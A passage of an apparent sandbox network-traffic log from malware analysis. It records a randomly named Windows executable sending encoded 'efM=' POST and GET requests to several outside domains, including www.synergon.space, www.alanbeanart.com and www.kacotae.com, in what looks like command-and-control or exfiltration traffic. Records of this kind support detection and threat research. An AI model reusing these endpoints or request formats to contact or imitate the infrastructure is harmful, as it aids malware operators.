2b 6c 4f 44 6a 4c 78 36 49 38 4e 2b 58 31 4f 39 53 58 31 77 5a 43 42 35 70 49 43 6e 32 77 34 6a 68 63 46 47 6c 38 2b 76 44 52 2f 33 34 38 3d Data Ascii: efM=cmHr04oQ6fWhJqIZBbon5sYVZT/mMpKM5rQe87swXHikfVd+wx72k8Nud6grEelQWhls8g+GFZtyMIgCwBKwrT04l4CxYkxCov1PgXVw+NAbEJvmJZ8ulYwqCI86HdL15xHRNCHYKR1TlLBC+kygKrCqf9rQ+ks99DN0wDCZZ+lODjLx6I8N+X1O9SX1wZCB5pICn2w4jhcFGl8+vDR/348=
Aug 5, 2024 15:32:19.544770956 CEST	1043	IN	HTTP/1.1 404 Not Found Connection: close x-powered-by: PHP/5.6.40 content-type: text/html; charset=UTF-8 content-length: 810 content-encoding: br vary: Accept-Encoding date: Mon, 05 Aug 2024 13:32:19 GMT server: LiteSpeed Data Raw: c2 18 01 80 5c 3a ad 5e 33 2a fa 1d 7b ae 23 c8 f8 22 b6 f9 58 a6 54 2f 68 01 11 24 46 5a 07 b8 b9 aa f8 a2 fc fa db af d2 f4 fb cd 10 12 21 d1 e2 b3 84 6a fa 44 48 66 cf 70 4f 44 b5 eb 1c a1 30 89 4b 75 9e 17 17 17 f7 90 4d df 4d e4 1b a7 cc 91 cc 1d 64 1e 25 03 50 06 cd 54 a2 59 af 5a 72 30 c8 e3 d0 42 fd 72 07 58 ca e6 e1 e1 61 c1 08 db 3a 0d 36 30 34 0d 2b 73 18 37 12 7f 8b 01 ff 54 85 cb a6 e8 8b 0f 19 55 8b 3e 10 1f 2c b8 58 5a de e4 8b 23 b7 ea f9 08 dd ba c0 c6 36 c9 34 3c 82 fa 3d 45 4e 56 65 de 68 41 78 d7 a9 4f ae 74 ec 9b d4 70 00 b0 46 60 bc 00 f4 46 36 3c 50 41 e3 3f 81 18 26 a7 81 e7 11 50 7b 0a 34 82 35 04 8b c5 4e 1f 3b 82 60 fe fd 80 ff bf 51 93 85 40 fe 6c 02 7c ff fe dd 24 a4 7c f4 0f 49 81 f9 60 6c 1f 01 e6 27 13 0c 93 7e 94 a2 76 96 73 d8 64 d3 05 4e e4 35 5a 8c 20 d0 78 77 52 14 e0 7b d5 7a bb dd ee a4 60 ba 70 ec ed f4 80 0d 78 0f 29 9e a4 30 63 f3 28 45 8d 62 25 57 d3 e5 96 67 60 de ba 13 f9 08 30 c7 8a cd 89 1e 81 aa 53 4a 11 7f 84 90 4f 68 cd 9e 42 45 aa 06 66 17 9e a4 58 [TRUNCATED] Data Ascii: \:^3{#"XT/h$FZ!jDHfpOD0KuMMd%PTYZr0BrXa:604+s7TU>,XZ#64<=ENVehAxOtpF`F6<PA?&P{45N;`Q@l\|$\|I`l'~vsdN5Z xwR{z`px)0c(Eb%Wg`0SJOhBEfXUQ[un468f'YhoJ">)ZzP(WDr&Z'lLe[H,Ei=qEk4'Ci8BOp>CtpK)D@laRepMx@j`xVH!D\|Nl7&a2G<gzrjA%X$D*k(b8}O)K3e.{AIdZ_T$T^h>B,cOZ6rB}Qbmcg"-RYbxghvli"F9[)FOXp,j~=uq}F)F_-QS6qiPH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	55413	109.95.158.127	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:32:21.410698891 CEST	10811	OUT	POST /8unq/ HTTP/1.1 Host: www.synergon.space Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.synergon.space Referer: http://www.synergon.space/8unq/ Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 63 6d 48 72 30 34 6f 51 36 66 57 68 4a 71 49 5a 42 62 6f 6e 35 73 59 56 5a 54 2f 6d 4d 70 4b 4d 35 72 51 65 38 37 73 77 58 42 36 6b 66 6a 52 2b 7a 58 7a 32 6a 38 4e 75 51 61 67 75 45 65 6c 64 57 6c 78 67 38 6c 6d 34 46 62 6c 79 4d 71 6f 43 32 7a 69 77 68 54 30 34 73 59 43 77 57 45 78 58 6f 76 6c 51 67 58 46 77 2b 4e 41 62 45 50 44 6d 64 63 49 75 6a 59 77 70 55 59 38 6d 52 64 4c 64 35 31 72 6e 4e 47 61 6c 4b 46 42 54 6b 71 78 43 34 41 53 67 46 72 43 6f 65 4e 72 79 2b 6b 68 6c 39 41 34 48 77 41 66 4d 5a 2f 64 4f 42 53 6d 53 6f 70 4d 67 6c 48 39 4d 69 42 2f 74 37 72 71 67 6d 34 67 4f 76 44 67 53 2f 77 59 36 4a 69 56 72 31 78 78 6b 72 4e 68 49 52 32 48 69 2f 50 71 71 74 4f 7a 69 39 30 6b 52 59 74 78 58 2b 74 77 4d 44 49 79 6c 44 31 61 36 78 73 4c 6f 7a 4f 2f 64 32 73 6d 4d 51 45 66 76 47 52 78 44 36 6e 55 51 6f 45 49 75 55 52 70 66 4a 76 67 6e 49 74 61 49 48 38 36 43 36 54 73 49 57 47 43 6e 53 41 7a 70 36 42 4d 44 34 7a 7a 5a 64 6c 31 47 41 68 79 31 79 6e 4b 34 68 4e 53 6a 67 6b 54 5a 61 68 [TRUNCATED] Data Ascii: efM=cmHr04oQ6fWhJqIZBbon5sYVZT/mMpKM5rQe87swXB6kfjR+zXz2j8NuQaguEeldWlxg8lm4FblyMqoC2ziwhT04sYCwWExXovlQgXFw+NAbEPDmdcIujYwpUY8mRdLd51rnNGalKFBTkqxC4ASgFrCoeNry+khl9A4HwAfMZ/dOBSmSopMglH9MiB/t7rqgm4gOvDgS/wY6JiVr1xxkrNhIR2Hi/PqqtOzi90kRYtxX+twMDIylD1a6xsLozO/d2smMQEfvGRxD6nUQoEIuURpfJvgnItaIH86C6TsIWGCnSAzp6BMD4zzZdl1GAhy1ynK4hNSjgkTZah7uAYjsQiSwZe9xhduYotSMNGmF0fse0ouSPXQ4/Ex7FgagwJ1NQ0CiF7UqGaw43vzH/oOM0Efgz8qT3tWLAL18m7A3P3YwmOXlnaCz8PD/DzHfZAxY7KyKG0NxSP15AFEaDtbbk/YpXSgEp2PTcA4fwQme0Kddi+7lbXKWSP3Nl0evdwfOeTi5BfDArLETMwsyXHEh9LsvbxextPsuFQ8rAqxYi85NFHLu+GPU+AxqXbcrnrTmfV3cXR29nj/QIDqVb/Kcb96WNg80+nZjO26ma948HjsXp0xa96HZ7kMwoqbWFLwye5T18Rr76z7HRla+d7WnKGyxphEMwvfdp32PsVMinSkv7makd9qjRhrpoVd0wElxKDLyR67MAucIoUrzEAp9RmZUnW5J4fFCWQ/pkyuEdIzCx9b3vgneLwlei9JjcIata2rgNcTZo1jg1VYAkfKu+3YvH45gCOuI7Ib5rcKb5SgXRtD4k2uMAAP8nAsh/8P+iSao2XoPCPjllLzf/oo1ZpceVQXw/6PX8fWxgMExvsYIdcdAd42jUYRLrhy7IaowSaW1fJDJr4Ws/qLmqgnIRazSd0mw3QHJ40uKhYECHIOlP0rqaa7Z5KHxFq37wj6T7H7LMBlt/vLQCKYNl/fmOo5e90LRMMgHyHTP6hOdQfcS9a3f [TRUNCATED]
Aug 5, 2024 15:32:22.070451021 CEST	1043	IN	HTTP/1.1 404 Not Found Connection: close x-powered-by: PHP/5.6.40 content-type: text/html; charset=UTF-8 content-length: 810 content-encoding: br vary: Accept-Encoding date: Mon, 05 Aug 2024 13:32:21 GMT server: LiteSpeed Data Raw: c2 18 01 80 5c 3a ad 5e 33 2a fa 1d 7b ae 23 c8 f8 22 b6 f9 58 a6 54 2f 68 01 11 24 46 5a 07 b8 b9 aa f8 a2 fc fa db af d2 f4 fb cd 10 12 21 d1 e2 b3 84 6a fa 44 48 66 cf 70 4f 44 b5 eb 1c a1 30 89 4b 75 9e 17 17 17 f7 90 4d df 4d e4 1b a7 cc 91 cc 1d 64 1e 25 03 50 06 cd 54 a2 59 af 5a 72 30 c8 e3 d0 42 fd 72 07 58 ca e6 e1 e1 61 c1 08 db 3a 0d 36 30 34 0d 2b 73 18 37 12 7f 8b 01 ff 54 85 cb a6 e8 8b 0f 19 55 8b 3e 10 1f 2c b8 58 5a de e4 8b 23 b7 ea f9 08 dd ba c0 c6 36 c9 34 3c 82 fa 3d 45 4e 56 65 de 68 41 78 d7 a9 4f ae 74 ec 9b d4 70 00 b0 46 60 bc 00 f4 46 36 3c 50 41 e3 3f 81 18 26 a7 81 e7 11 50 7b 0a 34 82 35 04 8b c5 4e 1f 3b 82 60 fe fd 80 ff bf 51 93 85 40 fe 6c 02 7c ff fe dd 24 a4 7c f4 0f 49 81 f9 60 6c 1f 01 e6 27 13 0c 93 7e 94 a2 76 96 73 d8 64 d3 05 4e e4 35 5a 8c 20 d0 78 77 52 14 e0 7b d5 7a bb dd ee a4 60 ba 70 ec ed f4 80 0d 78 0f 29 9e a4 30 63 f3 28 45 8d 62 25 57 d3 e5 96 67 60 de ba 13 f9 08 30 c7 8a cd 89 1e 81 aa 53 4a 11 7f 84 90 4f 68 cd 9e 42 45 aa 06 66 17 9e a4 58 [TRUNCATED] Data Ascii: \:^3{#"XT/h$FZ!jDHfpOD0KuMMd%PTYZr0BrXa:604+s7TU>,XZ#64<=ENVehAxOtpF`F6<PA?&P{45N;`Q@l\|$\|I`l'~vsdN5Z xwR{z`px)0c(Eb%Wg`0SJOhBEfXUQ[un468f'YhoJ">)ZzP(WDr&Z'lLe[H,Ei=qEk4'Ci8BOp>CtpK)D@laRepMx@j`xVH!D\|Nl7&a2G<gzrjA%X$D*k(b8}O)K3e.{AIdZ_T$T^h>B,cOZ6rB}Qbmcg"-RYbxghvli"F9[)FOXp,j~=uq}F)F_-QS6qiPH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	55414	109.95.158.127	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:32:23.941818953 CEST	439	OUT	GET /8unq/?GTP=uhqpjxIPh&efM=RkvL3PdT4df/OPkNHI4HmdhQbyPIEJeZ27MerosBZGKwWjBg2nbmkc0XZ9UwXf1WVngj3AiTKIg7OIM24x6mviVClJubTHF4ksIetQZZ+rgXL6Dldbwq0cw= HTTP/1.1 Host: www.synergon.space Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 5, 2024 15:32:24.597884893 CEST	1236	IN	HTTP/1.1 404 Not Found Connection: close x-powered-by: PHP/5.6.40 content-type: text/html; charset=UTF-8 content-length: 2247 date: Mon, 05 Aug 2024 13:32:24 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 70 6c 22 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 41 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 64 68 6f 73 74 69 6e 67 2e 70 6c 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 43 6f 70 79 72 69 67 68 74 22 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl"><head><meta http-equiv="Content-type" content="text/html;charset=UTF-8" /><meta name="Author" content="dhosting.pl" /><meta name="Copyright" content="dhosting.pl" /><meta name="Language" content="pl" /><meta name="Robots" content="index, follow" /><title>dhosting.pl - pod tym adresem nie znajduje si aden serwis WWW</title><style type="text/css">a:link, a:visited{font: 12px verdana, sans-serif;color:#333;text-decoration:none;}img{border:0px;}a:hover, a:active{color:#000;text-decoration:underline;}#tresc{font: 12px verdana, sans-serif;color: #333;}#foot{font: 10px verdana, sans-serif;color:#606060;text-align:center;position:absolute;bottom:5px;width:99%;}.f:link, .f:visited{font-size:10px;font-weight: bold;font-family: verdana, sans-ser [TRUNCATED]
Aug 5, 2024 15:32:24.597929001 CEST	1200	IN	Data Raw: 6e 3a 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 2e 66 3a 68 6f 76 65 72 2c 20 2e 66 3a 61 63 74 69 76 65 7b 0d 0a 63 6f 6c 6f 72 3a 23 32 30 32 30 32 30 3b 0d 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 0d 0a 7d 0d 0a 0d Data Ascii: n:none;}.f:hover, .f:active{color:#202020;text-decoration:underline;}</style></head><body><div style="text-align:center;"><a href="https://dhosting.pl" rel="nofollow"><img src="https://dhosting.pl/img/logo.svg" alt="dho

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	55415	3.33.130.190	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:32:29.634285927 CEST	712	OUT	POST /7ie4/ HTTP/1.1 Host: www.alanbeanart.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.alanbeanart.com Referer: http://www.alanbeanart.com/7ie4/ Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 51 57 75 59 39 30 47 6f 6e 75 49 7a 44 6c 34 64 67 64 45 39 43 72 5a 64 30 4b 6f 6a 44 79 79 78 53 67 73 51 48 49 41 4c 6c 4c 5a 79 73 2b 78 6f 47 65 61 6b 4d 35 56 65 2b 75 50 59 64 51 54 67 4b 48 79 41 41 63 6a 71 69 43 4f 52 63 62 61 68 49 77 64 45 7a 30 4e 64 53 76 72 37 4f 36 4e 44 53 43 6f 54 58 6d 39 72 41 70 73 76 34 79 36 75 42 65 61 52 65 32 6a 77 7a 46 6f 78 67 6f 71 57 4a 6e 37 36 78 59 33 38 48 30 58 51 6a 68 5a 66 53 2f 71 6c 4a 42 53 4b 39 46 56 43 31 33 72 65 35 57 38 4b 63 42 54 6a 44 6b 57 44 66 65 5a 62 70 2f 72 73 6d 73 71 45 46 78 50 6f 50 32 4d 53 63 67 3d 3d Data Ascii: efM=QWuY90GonuIzDl4dgdE9CrZd0KojDyyxSgsQHIALlLZys+xoGeakM5Ve+uPYdQTgKHyAAcjqiCORcbahIwdEz0NdSvr7O6NDSCoTXm9rApsv4y6uBeaRe2jwzFoxgoqWJn76xY38H0XQjhZfS/qlJBSK9FVC13re5W8KcBTjDkWDfeZbp/rsmsqEFxPoP2MScg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	55416	3.33.130.190	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:32:32.178124905 CEST	732	OUT	POST /7ie4/ HTTP/1.1 Host: www.alanbeanart.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.alanbeanart.com Referer: http://www.alanbeanart.com/7ie4/ Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 51 57 75 59 39 30 47 6f 6e 75 49 7a 44 45 49 64 6d 36 77 39 56 37 5a 65 6f 36 6f 6a 4e 53 79 74 53 68 51 51 48 4a 45 68 6c 59 39 79 74 63 5a 6f 48 62 75 6b 50 35 56 65 71 2b 4f 51 41 41 54 72 4b 48 2b 2b 41 65 6e 71 69 43 61 52 63 65 6d 68 4a 48 70 4c 7a 6b 4e 62 59 2f 72 35 41 61 4e 44 53 43 6f 54 58 6e 59 4f 41 71 63 76 34 48 79 75 48 2f 61 53 41 6d 6a 7a 30 46 6f 78 6b 6f 71 61 4a 6e 36 70 78 5a 62 61 48 32 76 51 6a 68 4a 66 56 74 53 6d 44 42 53 4d 69 56 55 75 30 46 2f 58 35 7a 64 67 55 79 72 30 4d 31 53 76 65 59 49 42 34 4f 4b 37 30 73 4f 33 59 32 47 63 43 31 78 62 48 74 35 6b 68 78 30 68 45 64 4d 59 32 39 58 59 34 52 74 73 6d 6a 49 3d Data Ascii: efM=QWuY90GonuIzDEIdm6w9V7Zeo6ojNSytShQQHJEhlY9ytcZoHbukP5Veq+OQAATrKH++AenqiCaRcemhJHpLzkNbY/r5AaNDSCoTXnYOAqcv4HyuH/aSAmjz0FoxkoqaJn6pxZbaH2vQjhJfVtSmDBSMiVUu0F/X5zdgUyr0M1SveYIB4OK70sO3Y2GcC1xbHt5khx0hEdMY29XY4RtsmjI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	55417	3.33.130.190	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:32:34.709495068 CEST	10814	OUT	POST /7ie4/ HTTP/1.1 Host: www.alanbeanart.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.alanbeanart.com Referer: http://www.alanbeanart.com/7ie4/ Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 51 57 75 59 39 30 47 6f 6e 75 49 7a 44 45 49 64 6d 36 77 39 56 37 5a 65 6f 36 6f 6a 4e 53 79 74 53 68 51 51 48 4a 45 68 6c 59 31 79 73 76 68 6f 47 34 32 6b 4f 35 56 65 32 4f 4f 52 41 41 54 79 4b 45 4f 36 41 65 37 36 69 48 65 52 63 37 71 68 63 46 42 4c 34 6b 4e 62 57 76 72 38 4f 36 4e 57 53 44 45 58 58 6d 6f 4f 41 71 63 76 34 41 43 75 48 75 61 53 43 6d 6a 77 7a 46 6f 48 67 6f 72 50 4a 6e 69 35 78 5a 66 73 47 47 50 51 6a 46 56 66 51 59 2b 6d 65 52 53 4f 68 56 55 32 30 46 69 50 35 33 31 47 55 7a 66 53 4d 31 6d 76 64 74 70 61 6f 73 57 76 32 50 66 78 61 46 71 64 4e 43 4e 5a 50 64 31 7a 69 6a 45 41 54 73 51 57 36 50 61 49 2f 77 4e 36 77 32 54 50 2f 43 6f 69 4c 34 6b 32 4a 65 52 30 72 6d 71 6c 69 72 46 46 6e 6a 45 65 74 46 45 63 38 31 73 34 47 6e 64 4b 62 74 6e 41 36 4a 52 77 66 5a 4f 58 49 47 33 36 47 2b 30 69 76 6e 65 75 32 30 2f 38 64 7a 66 66 51 56 77 41 50 46 75 6c 6b 63 6e 65 51 44 51 58 42 70 72 51 33 6d 79 44 6f 59 78 6e 67 4d 62 66 79 51 6b 6d 6c 73 46 57 2b 33 4f 37 6c 4f 46 2b 58 69 [TRUNCATED] Data Ascii: efM=QWuY90GonuIzDEIdm6w9V7Zeo6ojNSytShQQHJEhlY1ysvhoG42kO5Ve2OORAATyKEO6Ae76iHeRc7qhcFBL4kNbWvr8O6NWSDEXXmoOAqcv4ACuHuaSCmjwzFoHgorPJni5xZfsGGPQjFVfQY+meRSOhVU20FiP531GUzfSM1mvdtpaosWv2PfxaFqdNCNZPd1zijEATsQW6PaI/wN6w2TP/CoiL4k2JeR0rmqlirFFnjEetFEc81s4GndKbtnA6JRwfZOXIG36G+0ivneu20/8dzffQVwAPFulkcneQDQXBprQ3myDoYxngMbfyQkmlsFW+3O7lOF+Xikpd5Rpx18zf/Hzp/l7r/md0CXui2R4o9igdCYh4GZ+45KJv8CxXM1Qh4jVWAtmczXeVHAGweIKZUJ+CDQ0YjvVgFhWYK4vWkZprScIRAQCinnUBlvyFImbtBbG09zdRTp72U+qnxVKMAA0w/FM9A9gwQ1khvz2lZ3TbXjc9hV/Mx46YkBYCHrLB2wtA8JHvNrNYqTeemKyuQMg+neDN47mRVgeg/fbLL+EsOOEAfAMy3Cigto1RHGf4MiQRxjHXXfjkyZkeBV/XUDDN4SDuSVcZAdlI0TH9OeiqoQlCAKaoYwXccStUCcQh1Ftz07Z2fxnIDf5sTfNC6ach9FKMSqHZCeUgUNAQMmVeSNf5exo9we8ZMT06gtRgPwXGcSgmsqPD4GonID2lcujdg64ObKUGgSkpkg5teRbWjWStdfo1AhlhUge+j9QxSubJMwrADH3zh3xQlhLq6yFor+Z7kz6DN8vAXkvt2trvUhHJDEQQdEtJbZYGu8A/NW2rNj/fk8ncmOTdinA3QtEoDbzgMouoHxAjb2l4q1BvCFUTao969cg7vGoJh1wQnquFcxXBWEqrlWbwPbqWVYbvH0AQOEjsa63HojpofBBHTWg02/ooIAFKovf4XSbpKLCogJHycq1Mue6gfz68PfuaWV866Ns5esEoVOMee8M [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	55418	3.33.130.190	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:32:37.237335920 CEST	440	OUT	GET /7ie4/?efM=dUG4+DDdp/sjDloXxs11bKdjpfE9KTK2XiMiOZkD44FSjL1BUJC0B7Zb9pCmeCfVXkmAFvPPogGRRoivKVhLz246S+DRLpxSbmoiTCF0OJgE4T3/Jv+1c2k=&GTP=uhqpjxIPh HTTP/1.1 Host: www.alanbeanart.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 5, 2024 15:32:38.673557043 CEST	393	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 05 Aug 2024 13:32:38 GMT Content-Type: text/html Content-Length: 253 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 65 66 4d 3d 64 55 47 34 2b 44 44 64 70 2f 73 6a 44 6c 6f 58 78 73 31 31 62 4b 64 6a 70 66 45 39 4b 54 4b 32 58 69 4d 69 4f 5a 6b 44 34 34 46 53 6a 4c 31 42 55 4a 43 30 42 37 5a 62 39 70 43 6d 65 43 66 56 58 6b 6d 41 46 76 50 50 6f 67 47 52 52 6f 69 76 4b 56 68 4c 7a 32 34 36 53 2b 44 52 4c 70 78 53 62 6d 6f 69 54 43 46 30 4f 4a 67 45 34 54 33 2f 4a 76 2b 31 63 32 6b 3d 26 47 54 50 3d 75 68 71 70 6a 78 49 50 68 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?efM=dUG4+DDdp/sjDloXxs11bKdjpfE9KTK2XiMiOZkD44FSjL1BUJC0B7Zb9pCmeCfVXkmAFvPPogGRRoivKVhLz246S+DRLpxSbmoiTCF0OJgE4T3/Jv+1c2k=&GTP=uhqpjxIPh"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	55419	64.226.69.42	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:32:43.708153963 CEST	700	OUT	POST /rdfm/ HTTP/1.1 Host: www.kacotae.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.kacotae.com Referer: http://www.kacotae.com/rdfm/ Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 39 70 4d 6d 76 63 7a 37 33 75 44 75 31 44 62 42 62 42 4e 31 47 4e 44 72 62 35 59 55 6f 7a 31 38 56 56 67 42 4d 64 70 45 2b 5a 65 67 42 49 46 4a 4b 4a 47 64 58 46 65 6b 42 6f 6a 30 51 79 33 74 36 47 33 62 32 4c 48 52 6f 43 71 72 2f 47 36 52 6b 6d 63 73 52 30 5a 4a 4d 73 66 36 37 48 52 57 30 75 51 32 55 61 54 79 67 77 32 49 37 54 39 4f 6a 35 33 4d 76 4e 55 76 45 64 69 7a 63 4f 2f 56 6a 58 68 67 36 43 2f 2b 41 74 67 57 30 42 31 58 5a 63 4f 6a 75 61 5a 56 35 31 38 63 52 74 58 68 71 54 77 33 6d 4b 70 69 5a 70 56 55 6e 45 6e 44 6c 2b 30 76 63 59 6f 7a 30 72 4e 76 52 59 38 56 43 77 3d 3d Data Ascii: efM=9pMmvcz73uDu1DbBbBN1GNDrb5YUoz18VVgBMdpE+ZegBIFJKJGdXFekBoj0Qy3t6G3b2LHRoCqr/G6RkmcsR0ZJMsf67HRW0uQ2UaTygw2I7T9Oj53MvNUvEdizcO/VjXhg6C/+AtgW0B1XZcOjuaZV518cRtXhqTw3mKpiZpVUnEnDl+0vcYoz0rNvRY8VCw==
Aug 5, 2024 15:32:44.347558975 CEST	361	IN	HTTP/1.1 404 Not Found Server: openresty Date: Mon, 05 Aug 2024 13:32:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 90 46 14 2c b4 f1 0b 72 ee 7a 09 e4 b2 c7 5e 2c ee ef 4d f4 0e c4 da d2 72 67 de 0c c3 1a 9f fb 68 d7 2b e3 c9 a1 35 39 e4 48 b6 d9 36 70 e1 0c 47 7e 24 34 fa 2d 1a fd 42 0a da 32 4e 35 72 a3 94 49 ac f1 bb ef 44 51 8c 9e ed da 5d a0 f9 e2 81 92 d0 98 a7 4f 5f 2f 8d 7a 59 b3 51 0a 1c 0c 0e 31 a4 0e 32 03 86 d1 b5 91 e0 7c 3d 1d c0 25 84 bd 17 ee 09 ee 12 28 61 9c 80 44 58 4a a2 23 50 aa ae fb 57 fc f2 17 4f 11 d4 0d c8 28 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: ac1D{X? DF,rz^,Mrgh+59H6pG~$4-B2N5rIDQ]O_/zYQ12\|=%(aDXJ#PWO(0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	55420	64.226.69.42	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
